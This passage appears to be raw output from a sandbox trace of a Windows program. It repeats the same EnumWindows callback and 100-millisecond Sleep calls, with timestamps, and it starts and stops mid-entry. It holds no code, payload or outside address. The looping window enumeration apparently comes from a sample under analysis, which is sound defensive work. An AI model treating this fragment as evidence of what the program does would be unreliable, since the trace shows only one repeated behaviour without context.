(lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.034] Sleep (dwMilliseconds=0x64) [0162.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.036] Sleep (dwMilliseconds=0x64) [0162.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.038] Sleep (dwMilliseconds=0x64) [0162.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.040] Sleep (dwMilliseconds=0x64) [0162.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.044] Sleep (dwMilliseconds=0x64) [0162.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.126] Sleep (dwMilliseconds=0x64) [0162.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.165] Sleep (dwMilliseconds=0x64) [0162.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.168] Sleep (dwMilliseconds=0x64) [0162.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.170] Sleep (dwMilliseconds=0x64) [0162.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.172] Sleep (dwMilliseconds=0x64) [0162.173] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.174] Sleep (dwMilliseconds=0x64) [0162.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.176] Sleep (dwMilliseconds=0x64) [0162.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.178] Sleep (dwMilliseconds=0x64) [0162.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.180] Sleep (dwMilliseconds=0x64) [0162.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.182] Sleep (dwMilliseconds=0x64) [0162.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.184] Sleep (dwMilliseconds=0x64) [0162.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.186] Sleep (dwMilliseconds=0x64) [0162.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.188] Sleep (dwMilliseconds=0x64) [0162.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.190] Sleep (dwMilliseconds=0x64) [0162.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.193] Sleep (dwMilliseconds=0x64) [0162.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.194] Sleep (dwMilliseconds=0x64) [0162.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.255] Sleep (dwMilliseconds=0x64) [0162.309] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.310] Sleep (dwMilliseconds=0x64) [0162.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.312] Sleep (dwMilliseconds=0x64) [0162.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.313] Sleep (dwMilliseconds=0x64) [0162.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.315] Sleep (dwMilliseconds=0x64) [0162.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.316] Sleep (dwMilliseconds=0x64) [0162.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.318] Sleep (dwMilliseconds=0x64) [0162.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.320] Sleep (dwMilliseconds=0x64) [0162.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.322] Sleep (dwMilliseconds=0x64) [0162.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.333] Sleep (dwMilliseconds=0x64) [0162.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.335] Sleep (dwMilliseconds=0x64) [0162.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.337] Sleep (dwMilliseconds=0x64) [0162.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.339] Sleep (dwMilliseconds=0x64) [0162.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.365] Sleep (dwMilliseconds=0x64) [0162.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.447] Sleep (dwMilliseconds=0x64) [0162.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.449] Sleep (dwMilliseconds=0x64) [0162.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.451] Sleep (dwMilliseconds=0x64) [0162.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.453] Sleep (dwMilliseconds=0x64) [0162.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.456] Sleep (dwMilliseconds=0x64) [0162.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.458] Sleep (dwMilliseconds=0x64) [0162.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.459] Sleep (dwMilliseconds=0x64) [0162.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.461] Sleep (dwMilliseconds=0x64) [0162.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.462] Sleep (dwMilliseconds=0x64) [0162.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.464] Sleep (dwMilliseconds=0x64) [0162.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.466] Sleep (dwMilliseconds=0x64) [0162.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.468] Sleep (dwMilliseconds=0x64) [0162.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.470] Sleep (dwMilliseconds=0x64) [0162.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.472] Sleep (dwMilliseconds=0x64) [0162.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.474] Sleep (dwMilliseconds=0x64) [0162.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.476] Sleep (dwMilliseconds=0x64) [0162.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.477] Sleep (dwMilliseconds=0x64) [0162.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.479] Sleep (dwMilliseconds=0x64) [0162.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.585] Sleep (dwMilliseconds=0x64) [0162.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.601] Sleep (dwMilliseconds=0x64) [0162.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.604] Sleep (dwMilliseconds=0x64) [0162.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.606] Sleep (dwMilliseconds=0x64) [0162.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.608] Sleep (dwMilliseconds=0x64) [0162.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.610] Sleep (dwMilliseconds=0x64) [0162.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.612] Sleep (dwMilliseconds=0x64) [0162.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.614] Sleep (dwMilliseconds=0x64) [0162.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.616] Sleep (dwMilliseconds=0x64) [0162.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.709] Sleep (dwMilliseconds=0x64) [0162.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.741] Sleep (dwMilliseconds=0x64) [0162.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.745] Sleep (dwMilliseconds=0x64) [0162.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.747] Sleep (dwMilliseconds=0x64) [0162.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.749] Sleep (dwMilliseconds=0x64) [0162.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.751] Sleep (dwMilliseconds=0x64) [0162.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.753] Sleep (dwMilliseconds=0x64) [0162.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.757] Sleep (dwMilliseconds=0x64) [0162.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.759] Sleep (dwMilliseconds=0x64) [0162.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.761] Sleep (dwMilliseconds=0x64) [0162.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.763] Sleep (dwMilliseconds=0x64) [0162.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.765] Sleep (dwMilliseconds=0x64) [0162.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.768] Sleep (dwMilliseconds=0x64) [0162.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.770] Sleep (dwMilliseconds=0x64) [0162.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0162.982] Sleep (dwMilliseconds=0x64) [0163.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.026] Sleep (dwMilliseconds=0x64) [0163.028] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.029] Sleep (dwMilliseconds=0x64) [0163.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.032] Sleep (dwMilliseconds=0x64) [0163.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.034] Sleep (dwMilliseconds=0x64) [0163.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.036] Sleep (dwMilliseconds=0x64) [0163.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.038] Sleep (dwMilliseconds=0x64) [0163.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.040] Sleep (dwMilliseconds=0x64) [0163.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.090] Sleep (dwMilliseconds=0x64) [0163.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.172] Sleep (dwMilliseconds=0x64) [0163.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.235] Sleep (dwMilliseconds=0x64) [0163.237] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.238] Sleep (dwMilliseconds=0x64) [0163.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.239] Sleep (dwMilliseconds=0x64) [0163.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.241] Sleep (dwMilliseconds=0x64) [0163.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.243] Sleep (dwMilliseconds=0x64) [0163.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.246] Sleep (dwMilliseconds=0x64) [0163.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.250] Sleep (dwMilliseconds=0x64) [0163.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.252] Sleep (dwMilliseconds=0x64) [0163.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.254] Sleep (dwMilliseconds=0x64) [0163.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.256] Sleep (dwMilliseconds=0x64) [0163.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.258] Sleep (dwMilliseconds=0x64) [0163.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.260] Sleep (dwMilliseconds=0x64) [0163.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.262] Sleep (dwMilliseconds=0x64) [0163.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.264] Sleep (dwMilliseconds=0x64) [0163.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.306] Sleep (dwMilliseconds=0x64) [0163.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.396] Sleep (dwMilliseconds=0x64) [0163.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.399] Sleep (dwMilliseconds=0x64) [0163.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.401] Sleep (dwMilliseconds=0x64) [0163.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.403] Sleep (dwMilliseconds=0x64) [0163.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.405] Sleep (dwMilliseconds=0x64) [0163.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.408] Sleep (dwMilliseconds=0x64) [0163.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.410] Sleep (dwMilliseconds=0x64) [0163.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.412] Sleep (dwMilliseconds=0x64) [0163.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.414] Sleep (dwMilliseconds=0x64) [0163.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.417] Sleep (dwMilliseconds=0x64) [0163.418] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.418] Sleep (dwMilliseconds=0x64) [0163.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.420] Sleep (dwMilliseconds=0x64) [0163.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.422] Sleep (dwMilliseconds=0x64) [0163.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.425] Sleep (dwMilliseconds=0x64) [0163.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.442] Sleep (dwMilliseconds=0x64) [0163.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.536] Sleep (dwMilliseconds=0x64) [0163.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.544] Sleep (dwMilliseconds=0x64) [0163.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.546] Sleep (dwMilliseconds=0x64) [0163.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.549] Sleep (dwMilliseconds=0x64) [0163.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.552] Sleep (dwMilliseconds=0x64) [0163.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.554] Sleep (dwMilliseconds=0x64) [0163.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.560] Sleep (dwMilliseconds=0x64) [0163.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.562] Sleep (dwMilliseconds=0x64) [0163.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.564] Sleep (dwMilliseconds=0x64) [0163.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.566] Sleep (dwMilliseconds=0x64) [0163.575] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.576] Sleep (dwMilliseconds=0x64) [0163.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.673] Sleep (dwMilliseconds=0x64) [0163.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.676] Sleep (dwMilliseconds=0x64) [0163.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.678] Sleep (dwMilliseconds=0x64) [0163.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.680] Sleep (dwMilliseconds=0x64) [0163.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.682] Sleep (dwMilliseconds=0x64) [0163.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.684] Sleep (dwMilliseconds=0x64) [0163.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.686] Sleep (dwMilliseconds=0x64) [0163.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.687] Sleep (dwMilliseconds=0x64) [0163.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.689] Sleep (dwMilliseconds=0x64) [0163.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.691] Sleep (dwMilliseconds=0x64) [0163.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.692] Sleep (dwMilliseconds=0x64) [0163.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.694] Sleep (dwMilliseconds=0x64) [0163.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.695] Sleep (dwMilliseconds=0x64) [0163.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.697] Sleep (dwMilliseconds=0x64) [0163.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.698] Sleep (dwMilliseconds=0x64) [0163.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.700] Sleep (dwMilliseconds=0x64) [0163.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.701] Sleep (dwMilliseconds=0x64) [0163.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.705] Sleep (dwMilliseconds=0x64) [0163.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.787] Sleep (dwMilliseconds=0x64) [0163.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.816] Sleep (dwMilliseconds=0x64) [0163.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.818] Sleep (dwMilliseconds=0x64) [0163.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.822] Sleep (dwMilliseconds=0x64) [0163.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.823] Sleep (dwMilliseconds=0x64) [0163.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.837] Sleep (dwMilliseconds=0x64) [0163.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.839] Sleep (dwMilliseconds=0x64) [0163.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.841] Sleep (dwMilliseconds=0x64) [0163.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.843] Sleep (dwMilliseconds=0x64) [0163.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.844] Sleep (dwMilliseconds=0x64) [0163.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.846] Sleep (dwMilliseconds=0x64) [0163.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.905] Sleep (dwMilliseconds=0x64) [0163.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.986] Sleep (dwMilliseconds=0x64) [0163.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.988] Sleep (dwMilliseconds=0x64) [0163.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.990] Sleep (dwMilliseconds=0x64) [0163.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.992] Sleep (dwMilliseconds=0x64) [0163.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.994] Sleep (dwMilliseconds=0x64) [0163.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.996] Sleep (dwMilliseconds=0x64) [0163.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0163.998] Sleep (dwMilliseconds=0x64) [0163.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.000] Sleep (dwMilliseconds=0x64) [0164.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.002] Sleep (dwMilliseconds=0x64) [0164.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.003] Sleep (dwMilliseconds=0x64) [0164.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.005] Sleep (dwMilliseconds=0x64) [0164.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.006] Sleep (dwMilliseconds=0x64) [0164.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.008] Sleep (dwMilliseconds=0x64) [0164.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.009] Sleep (dwMilliseconds=0x64) [0164.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.011] Sleep (dwMilliseconds=0x64) [0164.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.013] Sleep (dwMilliseconds=0x64) [0164.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.033] Sleep (dwMilliseconds=0x64) [0164.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.075] Sleep (dwMilliseconds=0x64) [0164.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.195] Sleep (dwMilliseconds=0x64) [0164.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.197] Sleep (dwMilliseconds=0x64) [0164.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.199] Sleep (dwMilliseconds=0x64) [0164.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.201] Sleep (dwMilliseconds=0x64) [0164.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.203] Sleep (dwMilliseconds=0x64) [0164.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.204] Sleep (dwMilliseconds=0x64) [0164.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.206] Sleep (dwMilliseconds=0x64) [0164.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.208] Sleep (dwMilliseconds=0x64) [0164.209] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.210] Sleep (dwMilliseconds=0x64) [0164.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.212] Sleep (dwMilliseconds=0x64) [0164.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.213] Sleep (dwMilliseconds=0x64) [0164.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.215] Sleep (dwMilliseconds=0x64) [0164.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.217] Sleep (dwMilliseconds=0x64) [0164.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.220] Sleep (dwMilliseconds=0x64) [0164.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.222] Sleep (dwMilliseconds=0x64) [0164.223] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.223] Sleep (dwMilliseconds=0x64) [0164.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.225] Sleep (dwMilliseconds=0x64) [0164.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.250] Sleep (dwMilliseconds=0x64) [0164.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.348] Sleep (dwMilliseconds=0x64) [0164.351] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.352] Sleep (dwMilliseconds=0x64) [0164.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.354] Sleep (dwMilliseconds=0x64) [0164.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.356] Sleep (dwMilliseconds=0x64) [0164.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.359] Sleep (dwMilliseconds=0x64) [0164.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.365] Sleep (dwMilliseconds=0x64) [0164.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.367] Sleep (dwMilliseconds=0x64) [0164.369] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.369] Sleep (dwMilliseconds=0x64) [0164.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.371] Sleep (dwMilliseconds=0x64) [0164.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.373] Sleep (dwMilliseconds=0x64) [0164.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.374] Sleep (dwMilliseconds=0x64) [0164.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.376] Sleep (dwMilliseconds=0x64) [0164.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.377] Sleep (dwMilliseconds=0x64) [0164.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.383] Sleep (dwMilliseconds=0x64) [0164.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.465] Sleep (dwMilliseconds=0x64) [0164.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.467] Sleep (dwMilliseconds=0x64) [0164.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.487] Sleep (dwMilliseconds=0x64) [0164.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.489] Sleep (dwMilliseconds=0x64) [0164.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.492] Sleep (dwMilliseconds=0x64) [0164.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.494] Sleep (dwMilliseconds=0x64) [0164.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.496] Sleep (dwMilliseconds=0x64) [0164.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.498] Sleep (dwMilliseconds=0x64) [0164.500] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.500] Sleep (dwMilliseconds=0x64) [0164.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.502] Sleep (dwMilliseconds=0x64) [0164.503] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.504] Sleep (dwMilliseconds=0x64) [0164.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.506] Sleep (dwMilliseconds=0x64) [0164.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.508] Sleep (dwMilliseconds=0x64) [0164.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.509] Sleep (dwMilliseconds=0x64) [0164.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.511] Sleep (dwMilliseconds=0x64) [0164.512] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.513] Sleep (dwMilliseconds=0x64) [0164.514] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.514] Sleep (dwMilliseconds=0x64) [0164.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.516] Sleep (dwMilliseconds=0x64) [0164.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.579] Sleep (dwMilliseconds=0x64) [0164.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.581] Sleep (dwMilliseconds=0x64) [0164.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.626] Sleep (dwMilliseconds=0x64) [0164.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.629] Sleep (dwMilliseconds=0x64) [0164.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.630] Sleep (dwMilliseconds=0x64) [0164.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.632] Sleep (dwMilliseconds=0x64) [0164.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.634] Sleep (dwMilliseconds=0x64) [0164.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.635] Sleep (dwMilliseconds=0x64) [0164.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.637] Sleep (dwMilliseconds=0x64) [0164.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.638] Sleep (dwMilliseconds=0x64) [0164.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.640] Sleep (dwMilliseconds=0x64) [0164.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.641] Sleep (dwMilliseconds=0x64) [0164.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0164.645] Sleep (dwMilliseconds=0x64) [0164.647] EnumWindows 